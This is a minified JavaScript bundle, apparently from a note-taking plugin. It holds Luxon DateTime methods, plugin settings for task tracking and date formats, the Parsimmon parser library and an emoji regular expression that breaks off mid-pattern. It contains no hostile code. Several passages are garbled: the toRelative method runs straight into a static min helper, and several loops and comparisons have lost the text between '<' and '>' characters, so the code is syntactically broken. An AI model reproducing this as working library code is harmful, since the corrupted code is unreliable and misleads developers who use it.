numberingSystem(){return this.isValid?this.loc.numberingSystem:null}get outputCalendar(){return this.isValid?this.loc.outputCalendar:null}get zone(){return this._zone}get zoneName(){return this.isValid?this.zone.name:null}get year(){return this.isValid?this.c.year:NaN}get quarter(){return this.isValid?Math.ceil(this.c.month/3):NaN}get month(){return this.isValid?this.c.month:NaN}get day(){return this.isValid?this.c.day:NaN}get hour(){return this.isValid?this.c.hour:NaN}get minute(){return this.isValid?this.c.minute:NaN}get second(){return this.isValid?this.c.second:NaN}get millisecond(){return this.isValid?this.c.millisecond:NaN}get weekYear(){return this.isValid?Uw(this).weekYear:NaN}get weekNumber(){return this.isValid?Uw(this).weekNumber:NaN}get weekday(){return this.isValid?Uw(this).weekday:NaN}get ordinal(){return this.isValid?Bw(this.c).ordinal:NaN}get monthShort(){return this.isValid?gl.months("short",{locObj:this.loc})[this.month-1]:null}get monthLong(){return this.isValid?gl.months("long",{locObj:this.loc})[this.month-1]:null}get weekdayShort(){return this.isValid?gl.weekdays("short",{locObj:this.loc})[this.weekday-1]:null}get weekdayLong(){return this.isValid?gl.weekdays("long",{locObj:this.loc})[this.weekday-1]:null}get offset(){return this.isValid?+this.o:NaN}get offsetNameShort(){return this.isValid?this.zone.offsetName(this.ts,{format:"short",locale:this.locale}):null}get offsetNameLong(){return this.isValid?this.zone.offsetName(this.ts,{format:"long",locale:this.locale}):null}get isOffsetFixed(){return this.isValid?this.zone.isUniversal:null}get isInDST(){return this.isOffsetFixed?!1:this.offset>this.set({month:1,day:1}).offset||this.offset>this.set({month:5}).offset}getPossibleOffsets(){if(!this.isValid||this.isOffsetFixed)return[this];let e=864e5,n=6e4,r=pm(this.c),i=this.zone.offset(r-e),s=this.zone.offset(r+e),o=this.zone.offset(r-i*n),a=this.zone.offset(r-s*n);if(o===a)return[this];let l=r-o*n,c=r-a*n,u=em(l,o),f=em(c,a);return u.hour===f.hour&&u.minute===f.minute&&u.second===f.second&&u.millisecond===f.millisecond?[Ko(this,{ts:l}),Ko(this,{ts:c})]:[this]}get isInLeapYear(){return Nu(this.year)}get daysInMonth(){return am(this.year,this.month)}get daysInYear(){return this.isValid?Iu(this.year):NaN}get weeksInWeekYear(){return this.isValid?lm(this.weekYear):NaN}resolvedLocaleOptions(e={}){let{locale:n,numberingSystem:r,calendar:i}=er.create(this.loc.clone(e),e).resolvedOptions(this);return{locale:n,numberingSystem:r,outputCalendar:i}}toUTC(e=0,n={}){return this.setZone(_r.instance(e),n)}toLocal(){return this.setZone(xt.defaultZone)}setZone(e,{keepLocalTime:n=!1,keepCalendarTime:r=!1}={}){if(e=Ns(e,xt.defaultZone),e.equals(this.zone))return this;if(e.isValid){let i=this.ts;if(n||r){let s=e.offset(this.ts),o=this.toObject();[i]=rm(o,s,e)}return Ko(this,{ts:i,zone:e})}else return t.invalid(Xd(e))}reconfigure({locale:e,numberingSystem:n,outputCalendar:r}={}){let i=this.loc.clone({locale:e,numberingSystem:n,outputCalendar:r});return Ko(this,{loc:i})}setLocale(e){return this.reconfigure({locale:e})}set(e){if(!this.isValid)return this;let n=cm(e,lE),r=!Be(n.weekYear)||!Be(n.weekNumber)||!Be(n.weekday),i=!Be(n.ordinal),s=!Be(n.year),o=!Be(n.month)||!Be(n.day),a=s||o,l=n.weekYear||n.weekNumber;if((a||i)&&l)throw new Zo("Can't mix weekYear/weekNumber units with year/month/day or ordinals");if(o&&i)throw new Zo("Can't mix ordinal dates with month/day");let c;r?c=rE({...n0(this.c),...n}):Be(n.ordinal)?(c={...this.toObject(),...n},Be(n.day)&&(c.day=Math.min(am(c.year,c.month),c.day))):c=iE({...Bw(this.c),...n});let[u,f]=rm(c,this.o,this.zone);return Ko(this,{ts:u,o:f})}plus(e){if(!this.isValid)return this;let n=ge.fromDurationLike(e);return Ko(this,oE(this,n))}minus(e){if(!this.isValid)return this;let n=ge.fromDurationLike(e).negate();return Ko(this,oE(this,n))}startOf(e){if(!this.isValid)return this;let n={},r=ge.normalizeUnit(e);switch(r){case"years":n.month=1;case"quarters":case"months":n.day=1;case"weeks":case"days":n.hour=0;case"hours":n.minute=0;case"minutes":n.second=0;case"seconds":n.millisecond=0;break}if(r==="weeks"&&(n.weekday=1),r==="quarters"){let i=Math.ceil(this.month/3);n.month=(i-1)*3+1}return this.set(n)}endOf(e){return this.isValid?this.plus({[e]:1}).startOf(e).minus(1):this}toFormat(e,n={}){return this.isValid?er.create(this.loc.redefaultToEN(n)).formatDateTimeFromString(this,e):$w}toLocaleString(e=sm,n={}){return this.isValid?er.create(this.loc.clone(n),e).formatDateTime(this):$w}toLocaleParts(e={}){return this.isValid?er.create(this.loc.clone(e),e).formatDateTimeParts(this):[]}toISO({format:e="extended",suppressSeconds:n=!1,suppressMilliseconds:r=!1,includeOffset:i=!0,extendedZone:s=!1}={}){if(!this.isValid)return null;let o=e==="extended",a=jw(this,o);return a+="T",a+=aE(this,o,n,r,i,s),a}toISODate({format:e="extended"}={}){return this.isValid?jw(this,e==="extended"):null}toISOWeekDate(){return tm(this,"kkkk-'W'WW-c")}toISOTime({suppressMilliseconds:e=!1,suppressSeconds:n=!1,includeOffset:r=!0,includePrefix:i=!1,extendedZone:s=!1,format:o="extended"}={}){return this.isValid?(i?"T":"")+aE(this,o==="extended",n,e,r,s):null}toRFC2822(){return tm(this,"EEE, dd LLL yyyy HH:mm:ss ZZZ",!1)}toHTTP(){return tm(this.toUTC(),"EEE, dd LLL yyyy HH:mm:ss 'GMT'")}toSQLDate(){return this.isValid?jw(this,!0):null}toSQLTime({includeOffset:e=!0,includeZone:n=!1,includeOffsetSpace:r=!0}={}){let i="HH:mm:ss.SSS";return(n||e)&&(r&&(i+=" "),n?i+="z":e&&(i+="ZZ")),tm(this,i,!0)}toSQL(e={}){return this.isValid?`${this.toSQLDate()} ${this.toSQLTime(e)}`:null}toString(){return this.isValid?this.toISO():$w}valueOf(){return this.toMillis()}toMillis(){return this.isValid?this.ts:NaN}toSeconds(){return this.isValid?this.ts/1e3:NaN}toUnixInteger(){return this.isValid?Math.floor(this.ts/1e3):NaN}toJSON(){return this.toISO()}toBSON(){return this.toJSDate()}toObject(e={}){if(!this.isValid)return{};let n={...this.c};return e.includeConfig&&(n.outputCalendar=this.outputCalendar,n.numberingSystem=this.loc.numberingSystem,n.locale=this.loc.locale),n}toJSDate(){return new Date(this.isValid?this.ts:NaN)}diff(e,n="milliseconds",r={}){if(!this.isValid||!e.isValid)return ge.invalid("created by diffing an invalid DateTime");let i={locale:this.locale,numberingSystem:this.numberingSystem,...r},s=GU(n).map(ge.normalizeUnit),o=e.valueOf()>this.valueOf(),a=o?this:e,l=o?e:this,c=Y8(a,l,s,i);return o?c.negate():c}diffNow(e="milliseconds",n={}){return this.diff(t.now(),e,n)}until(e){return this.isValid?wl.fromDateTimes(this,e):this}hasSame(e,n){if(!this.isValid)return!1;let r=e.valueOf(),i=this.setZone(e.zone,{keepLocalTime:!0});return i.startOf(n)<=r&&r<=i.endOf(n)}equals(e){return this.isValid&&e.isValid&&this.valueOf()===e.valueOf()&&this.zone.equals(e.zone)&&this.loc.equals(e.loc)}toRelative(e={}){if(!this.isValid)return null;let n=e.base||t.fromObject({},{zone:this.zone}),r=e.padding?thisn.valueOf(),Math.min)}static max(...e){if(!e.every(t.isDateTime))throw new Pn("max requires all arguments be DateTimes");return QD(e,n=>n.valueOf(),Math.max)}static fromFormatExplain(e,n,r={}){let{locale:i=null,numberingSystem:s=null}=r,o=St.fromOpts({locale:i,numberingSystem:s,defaultToEN:!0});return r_(o,e,n)}static fromStringExplain(e,n,r={}){return t.fromFormatExplain(e,n,r)}static get DATE_SHORT(){return sm}static get DATE_MED(){return yE}static get DATE_MED_WITH_WEEKDAY(){return IU}static get DATE_FULL(){return wE}static get DATE_HUGE(){return bE}static get TIME_SIMPLE(){return vE}static get TIME_WITH_SECONDS(){return kE}static get TIME_WITH_SHORT_OFFSET(){return xE}static get TIME_WITH_LONG_OFFSET(){return SE}static get TIME_24_SIMPLE(){return DE}static get TIME_24_WITH_SECONDS(){return EE}static get TIME_24_WITH_SHORT_OFFSET(){return _E}static get TIME_24_WITH_LONG_OFFSET(){return CE}static get DATETIME_SHORT(){return TE}static get DATETIME_SHORT_WITH_SECONDS(){return FE}static get DATETIME_MED(){return IE}static get DATETIME_MED_WITH_SECONDS(){return AE}static get DATETIME_MED_WITH_WEEKDAY(){return AU}static get DATETIME_FULL(){return OE}static get DATETIME_FULL_WITH_SECONDS(){return PE}static get DATETIME_HUGE(){return NE}static get DATETIME_HUGE_WITH_SECONDS(){return ME}};function Cu(t){if(Ae.isDateTime(t))return t;if(t&&t.valueOf&&Jo(t.valueOf()))return Ae.fromJSDate(t);if(t&&typeof t=="object")return Ae.fromObject(t);throw new Pn(`Unknown datetime argument: ${t}, of type ${typeof t}`)}var g0={renderNullAs:"\\-",taskCompletionTracking:!1,taskCompletionUseEmojiShorthand:!1,taskCompletionText:"completion",taskCompletionDateFormat:"yyyy-MM-dd",recursiveSubTaskCompletion:!1,warnOnEmptyResult:!0,refreshEnabled:!0,refreshInterval:2500,defaultDateFormat:"MMMM dd, yyyy",defaultDateTimeFormat:"h:mm a - MMMM dd, yyyy",maxRecursiveRenderDepth:4,tableIdColumnName:"File",tableGroupColumnName:"Group",showResultCount:!0},b4={allowHtml:!0};({...g0,...b4});var r0=class t{value;successful;constructor(e){this.value=e,this.successful=!0}map(e){return new t(e(this.value))}flatMap(e){return e(this.value)}mapErr(e){return this}bimap(e,n){return this.map(e)}orElse(e){return this.value}cast(){return this}orElseThrow(e){return this.value}},i0=class t{error;successful;constructor(e){this.error=e,this.successful=!1}map(e){return this}flatMap(e){return this}mapErr(e){return new t(e(this.error))}bimap(e,n){return this.mapErr(n)}orElse(e){return e}cast(){return this}orElseThrow(e){throw e?new Error(e(this.error)):new Error(""+this.error)}},um;(function(t){function e(s){return new r0(s)}t.success=e;function n(s){return new i0(s)}t.failure=n;function r(s,o,a){return s.successful?o.successful?a(s.value,o.value):n(o.error):n(s.error)}t.flatMap2=r;function i(s,o,a){return r(s,o,(l,c)=>e(a(l,c)))}t.map2=i})(um||(um={}));var v4=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof globalThis<"u"?globalThis:typeof self<"u"?self:{},fm={exports:{}};fm.exports;(function(t,e){(function(n,r){t.exports=r()})(typeof self<"u"?self:v4,function(){return function(n){var r={};function i(s){if(r[s])return r[s].exports;var o=r[s]={i:s,l:!1,exports:{}};return n[s].call(o.exports,o,o.exports,i),o.l=!0,o.exports}return i.m=n,i.c=r,i.d=function(s,o,a){i.o(s,o)||Object.defineProperty(s,o,{configurable:!1,enumerable:!0,get:a})},i.r=function(s){Object.defineProperty(s,"__esModule",{value:!0})},i.n=function(s){var o=s&&s.__esModule?function(){return s.default}:function(){return s};return i.d(o,"a",o),o},i.o=function(s,o){return Object.prototype.hasOwnProperty.call(s,o)},i.p="",i(i.s=0)}([function(n,r,i){function s(T){if(!(this instanceof s))return new s(T);this._=T}var o=s.prototype;function a(T,M){for(var z=0;z>7),buf:function(K){var Y=l(function(J,_e,at,mn){return J.concat(at===mn.length-1?x.from([_e,0]).readUInt16BE(0):mn.readUInt16BE(at))},[],K);return x.from(c(function(J){return(J<<1&65535)>>8},Y))}(z.buf)}}),z}function f(){return typeof x<"u"}function h(){if(!f())throw new Error("Buffer global does not exist; please use webpack if you need to parse Buffers in the browser.")}function d(T){h();var M=l(function(Y,J){return Y+J},0,T);if(M%8!=0)throw new Error("The bits ["+T.join(", ")+"] add up to "+M+" which is not an even number of bytes; the total should be divisible by 8");var z,q=M/8,K=(z=function(Y){return Y>48},l(function(Y,J){return Y||(z(J)?J:Y)},null,T));if(K)throw new Error(K+" bit range requested exceeds 48 bit (6 byte) Number max.");return new s(function(Y,J){var _e=q+J;return _e>Y.length?_(J,q.toString()+" bytes"):v(_e,l(function(at,mn){var Jt=u(mn,at.buf);return{coll:at.coll.concat(Jt.v),buf:Jt.buf}},{coll:[],buf:Y.slice(J,_e)},T).coll)})}function p(T,M){return new s(function(z,q){return h(),q+M>z.length?_(q,M+" bytes for "+T):v(q+M,z.slice(q,q+M))})}function g(T,M){if(typeof(z=M)!="number"||Math.floor(z)!==z||M<0||M>6)throw new Error(T+" requires integer length in range [0, 6].");var z}function y(T){return g("uintBE",T),p("uintBE("+T+")",T).map(function(M){return M.readUIntBE(0,T)})}function w(T){return g("uintLE",T),p("uintLE("+T+")",T).map(function(M){return M.readUIntLE(0,T)})}function b(T){return g("intBE",T),p("intBE("+T+")",T).map(function(M){return M.readIntBE(0,T)})}function S(T){return g("intLE",T),p("intLE("+T+")",T).map(function(M){return M.readIntLE(0,T)})}function D(T){return T instanceof s}function k(T){return{}.toString.call(T)==="[object Array]"}function E(T){return f()&&x.isBuffer(T)}function v(T,M){return{status:!0,index:T,value:M,furthest:-1,expected:[]}}function _(T,M){return k(M)||(M=[M]),{status:!1,index:-1,value:null,furthest:T,expected:M}}function C(T,M){if(!M||T.furthest>M.furthest)return T;var z=T.furthest===M.furthest?function(q,K){if(function(){if(s._supportsSet!==void 0)return s._supportsSet;var Gi=typeof Set<"u";return s._supportsSet=Gi,Gi}()&&Array.from){for(var Y=new Set(q),J=0;J=0;){if(J in z){q=z[J].line,Y===0&&(Y=z[J].lineStart);break}(T.charAt(J)===` -`||T.charAt(J)==="\r"&&T.charAt(J+1)!==` -`)&&(K++,Y===0&&(Y=J+1)),J--}var _e=q+K,at=M-Y;return z[M]={line:_e,lineStart:Y},{offset:M,line:_e+1,column:at+1}}function N(T){if(!D(T))throw new Error("not a parser: "+T)}function B(T,M){return typeof T=="string"?T.charAt(M):T[M]}function L(T){if(typeof T!="number")throw new Error("not a number: "+T)}function G(T){if(typeof T!="function")throw new Error("not a function: "+T)}function U(T){if(typeof T!="string")throw new Error("not a string: "+T)}var he=2,Te=3,Xe=8,O=5*Xe,De=4*Xe,ve=" ";function I(T,M){return new Array(M+1).join(T)}function Pe(T,M,z){var q=M-T.length;return q<=0?T:I(z,q)+T}function Nt(T,M,z,q){return{from:T-M>0?T-M:0,to:T+z>q?q:T+z}}function tt(T,M){var z,q,K,Y,J,_e=M.index,at=_e.offset,mn=1;if(at===T.length)return"Got the end of the input";if(E(T)){var Jt=at-at%Xe,Wi=at-Jt,Zn=Nt(Jt,O,De+Xe,T.length),Gi=c(function(Mt){return c(function(Ga){return Pe(Ga.toString(16),2,"0")},Mt)},function(Mt,Ga){var Qa=Mt.length,Mo=[],Ka=0;if(Qa<=Ga)return[Mt.slice()];for(var Za=0;Za=4&&(z+=1),mn=2,K=c(function(Mt){return Mt.length<=4?Mt.join(" "):Mt.slice(0,4).join(" ")+" "+Mt.slice(4).join(" ")},Gi),(J=(8*(Y.to>0?Y.to-1:Y.to)).toString(16).length)<2&&(J=2)}else{var Wa=T.split(/\r\n|[\n\r\u2028\u2029]/);z=_e.column-1,q=_e.line-1,Y=Nt(q,he,Te,Wa.length),K=Wa.slice(Y.from,Y.to),J=Y.to.toString().length}var WL=q-Y.from;return E(T)&&(J=(8*(Y.to>0?Y.to-1:Y.to)).toString(16).length)<2&&(J=2),l(function(Mt,Ga,Qa){var Mo,Ka=Qa===WL,Za=Ka?"> ":ve;return Mo=E(T)?Pe((8*(Y.from+Qa)).toString(16),J,"0"):Pe((Y.from+Qa+1).toString(),J," "),[].concat(Mt,[Za+Mo+" | "+Ga],Ka?[ve+I(" ",J)+" | "+Pe("",z," ")+I("^",mn)]:[])},[],K).join(` -`)}function Ve(T,M){return[` -`,"-- PARSING FAILED "+I("-",50),` - -`,tt(T,M),` - -`,(z=M.expected,z.length===1?`Expected: - -`+z[0]:`Expected one of the following: - -`+z.join(", ")),` -`].join("");var z}function bt(T){return T.flags!==void 0?T.flags:[T.global?"g":"",T.ignoreCase?"i":"",T.multiline?"m":"",T.unicode?"u":"",T.sticky?"y":""].join("")}function dn(){for(var T=[].slice.call(arguments),M=T.length,z=0;z=2?L(M):M=0;var z=function(K){return RegExp("^(?:"+K.source+")",bt(K))}(T),q=""+T;return s(function(K,Y){var J=z.exec(K.slice(Y));if(J){if(0<=M&&M<=J.length){var _e=J[0],at=J[M];return v(Y+_e.length,at)}return _(Y,"valid match group (0 to "+J.length+") in "+q)}return _(Y,q)})}function An(T){return s(function(M,z){return v(z,T)})}function Qn(T){return s(function(M,z){return _(z,T)})}function gi(T){if(D(T))return s(function(M,z){var q=T._(M,z);return q.index=z,q.value="",q});if(typeof T=="string")return gi(At(T));if(T instanceof RegExp)return gi(dt(T));throw new Error("not a string, regexp, or parser: "+T)}function cu(T){return N(T),s(function(M,z){var q=T._(M,z),K=M.slice(z,q.index);return q.status?_(z,'not "'+K+'"'):v(z,null)})}function Po(T){return G(T),s(function(M,z){var q=B(M,z);return z=T.length?_(M,"any character/byte"):v(M+1,B(T,M))}),ky=s(function(T,M){return v(T.length,T.slice(M))}),j=s(function(T,M){return M=0}).desc(M)},s.optWhitespace=Kn,s.Parser=s,s.range=function(T,M){return Po(function(z){return T<=z&&z<=M}).desc(T+"-"+M)},s.regex=dt,s.regexp=dt,s.sepBy=Ne,s.sepBy1=lt,s.seq=dn,s.seqMap=It,s.seqObj=function(){for(var T,M={},z=0,q=(T=arguments,Array.prototype.slice.call(T)),K=q.length,Y=0;Y255)throw new Error("Value specified to byte constructor ("+T+"=0x"+T.toString(16)+") is larger in value than a single byte.");var M=(T>15?"0x":"0x0")+T.toString(16);return s(function(z,q){var K=B(z,q);return K===T?v(q+1,K):_(q,M)})},buffer:function(T){return p("buffer",T).map(function(M){return x.from(M)})},encodedString:function(T,M){return p("string",M).map(function(z){return z.toString(T)})},uintBE:y,uint8BE:y(1),uint16BE:y(2),uint32BE:y(4),uintLE:w,uint8LE:w(1),uint16LE:w(2),uint32LE:w(4),intBE:b,int8BE:b(1),int16BE:b(2),int32BE:b(4),intLE:S,int8LE:S(1),int16LE:S(2),int32LE:S(4),floatBE:p("floatBE",4).map(function(T){return T.readFloatBE(0)}),floatLE:p("floatLE",4).map(function(T){return T.readFloatLE(0)}),doubleBE:p("doubleBE",8).map(function(T){return T.readDoubleBE(0)}),doubleLE:p("doubleLE",8).map(function(T){return T.readDoubleLE(0)})},n.exports=s}])})})(fm,fm.exports);var F=fm.exports,y0=()=>/[#*0-9]\uFE0F?\u20E3|[\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23ED-\u23EF\u23F1\u23F2\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB\u25FC\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692\u2694-\u2697\u2699\u269B\u269C\u26A0\u26A7\u26AA\u26B0\u26B1\u26BD\u26BE\u26C4\u26C8\u26CF\u26D1\u26D3\u26E9\u26F0-\u26F5\u26F7\u26F8\u26FA\u2702\u2708\u2709\u270F\u2712\u2714\u2716\u271D\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u27A1\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B55\u3030\u303D\u3297\u3299]\uFE0F?|[\u261D\u270C\u270D](?:\uFE0F|\uD83C[\uDFFB-\uDFFF])?|[\u270A\u270B](?:\uD83C[\uDFFB-\uDFFF])?|[\u23E9-\u23EC\u23F0\u23F3\u25FD\u2693\u26A1\u26AB\u26C5\u26CE\u26D4\u26EA\u26FD\u2705\u2728\u274C\u274E\u2753-\u2755\u2795-\u2797\u27B0\u27BF\u2B50]|\u26F9(?:\uFE0F|\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|\u2764\uFE0F?(?:\u200D(?:\uD83D\uDD25|\uD83E\uDE79))?|\uD83C(?:[\uDC04\uDD70\uDD71\uDD7E\uDD7F\uDE02\uDE37\uDF21\uDF24-\uDF2C\uDF36\uDF7D\uDF96\uDF97\uDF99-\uDF9B\uDF9E\uDF9F\uDFCD\uDFCE\uDFD4-\uDFDF\uDFF5\uDFF7]\uFE0F?|[\uDF85\uDFC2\uDFC7](?:\uD83C[\uDFFB-\uDFFF])?|[\uDFC3\uDFC4\uDFCA](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDFCB\uDFCC](?:\uFE0F|\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDCCF\uDD8E\uDD91-\uDD9A\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF7C\uDF7E-\uDF84\uDF86-\uDF93\uDFA0-\uDFC1\uDFC5\uDFC6\uDFC8\uDFC9\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF8-\uDFFF]|\uDDE6\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF]|\uDDE7\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF]|\uDDE8\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF5\uDDF7\uDDFA-\uDDFF]|\uDDE9\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF]|\uDDEA\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA]|\uDDEB\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7]|\uDDEC\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE]|\uDDED\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA]|\uDDEE\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9]|\uDDEF\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5]|\uDDF0\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF]|\uDDF1\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE]|\uDDF2\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF]|\uDDF3\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF]|\uDDF4\uD83C\uDDF2|\uDDF5\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE]|\uDDF6\uD83C\uDDE6|\uDDF7\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC]|\uDDF8\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF]|\uDDF9\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF]|\uDDFA\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF]|\uDDFB\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA]|\uDDFC\uD83C[\uDDEB\uDDF8]|\uDDFD\uD83C\uDDF0|\uDDFE\uD83C[\uDDEA\uDDF9]|\uDDFF\uD83C[\uDDE6\uDDF2\uDDFC]|\uDFF3\uFE0F?(?:\u200D(?:\u26A7\uFE0F?|\uD83C\uDF08))?|\uDFF4(?:\u200D\u2620\uFE0F?|\uDB40\uDC67\uDB40\uDC62\uDB40(?:\uDC65\uDB40\uDC6E\uDB40\uDC67|\uDC73\uDB40\uDC63\uDB40\uDC74|\uDC77\uDB40\uDC6C\uDB40\uDC73)\uDB40\uDC7F)?)|\uD83D(?:[\uDC08\uDC26](?:\u200D\u2B1B)?|[\uDC3F\uDCFD\uDD49\uDD4A\uDD6F\uDD70\uDD73\uDD76-\uDD79\uDD87\uDD8A-\uDD8D\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA\uDECB\uDECD-\uDECF\uDEE0-\uDEE5\uDEE9\uDEF0\uDEF3]\uFE0F?|[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDC8F\uDC91\uDCAA\uDD7A\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC](?:\uD83C[\uDFFB-\uDFFF])?|[\uDC6E\uDC70\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDD74\uDD90](?:\uFE0F|\uD83C[\uDFFB-\uDFFF])?|[\uDC00-\uDC07\uDC09-\uDC14\uDC16-\uDC25\uDC27-\uDC3A\uDC3C-\uDC3E\uDC40\uDC44\uDC45\uDC51-\uDC65\uDC6A\uDC79-\uDC7B\uDC7D-\uDC80\uDC84\uDC88-\uDC8E\uDC90\uDC92-\uDCA9\uDCAB-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDDA4\uDDFB-\uDE2D\uDE2F-\uDE34\uDE37-\uDE44\uDE48-\uDE4A\uDE80-\uDEA2\uDEA4-\uDEB3\uDEB7-\uDEBF\uDEC1-\uDEC5\uDED0-\uDED2\uDED5-\uDED7\uDEDC-\uDEDF\uDEEB\uDEEC\uDEF4-\uDEFC\uDFE0-\uDFEB\uDFF0]|\uDC15(?:\u200D\uD83E\uDDBA)?|\uDC3B(?:\u200D\u2744\uFE0F?)?|\uDC41\uFE0F?(?:\u200D\uD83D\uDDE8\uFE0F?)?|\uDC68(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D(?:[\uDC68\uDC69]\u200D\uD83D(?:\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?)|[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?)|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFC-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB\uDFFD-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB-\uDFFD\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uD